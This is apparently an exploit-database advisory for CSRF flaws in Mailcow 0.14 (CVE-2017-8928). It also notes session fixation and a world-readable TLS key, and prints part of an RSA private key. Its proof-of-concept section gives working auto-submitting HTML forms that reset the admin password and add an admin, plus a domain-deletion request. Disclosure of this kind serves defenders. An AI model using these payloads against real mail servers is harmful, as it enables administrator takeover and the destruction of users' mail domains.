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Mailcow 0.14 - Cross-Site Request Forgery Vulnerability
Author
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[Security Risk Low
]0day-ID
Category
Date add
CVE
Platform
[+] Credits: John Page a.k.a hyp3rlinx Vendor: ============= mailcow.email mailcow.github.io Product: =========== The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access. Vulnerability Type: =================== CSRF Password Reset / Add Admin / Delete Domains CVE Reference: ============== CVE-2017-8928 Security Issue: ================ mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage remote attackers can execute the following exploits. 1) reset admin password 2) add arbitrary admin 3) delete domains Other issues found in mailcow are as follows: Session fixation: ================= Session ID: Pre authentication and Post auth is the same, and does not change upon successful login. ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication World Readable Private key "key.pem" ==================================== john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami john john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF 4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu 5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ etc... References: ============ https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd Exploit/POC: ============= [Admin Password Reset] <form action="https://localhost/admin.php" method="post"> <input type="hidden" name="admin_user_now" value="admin"> <input type="hidden" name="admin_user" value="admin"> <input type="hidden" name="admin_pass" value="Abc12345"> <input type="hidden" name="admin_pass2" value="Abc12345"> <input type="hidden" name="trigger_set_admin" value=""> <script>document.forms[0].submit()</script> </form> HTTP Response: 'Changes to administrator have been saved" ////////////////////// [Add Admin] <form action="https://localhost/admin.php" method="post"> <input type="hidden" name="username" value="HELL"> <input type="hidden" name="password" value="Abc12345"> <input type="hidden" name="password2" value="Abc12345"> <input type="hidden" name="active" value="on"> <input type="hidden" name="trigger_add_domain_admin" value="localhost"> <script>document.forms[0].submit()</script> </form> //////////////////// [Delete domains] https://localhost/mailbox.php domain=myDomain&trigger_mailbox_action=deletedomain # 0day.today [2024-09-29] #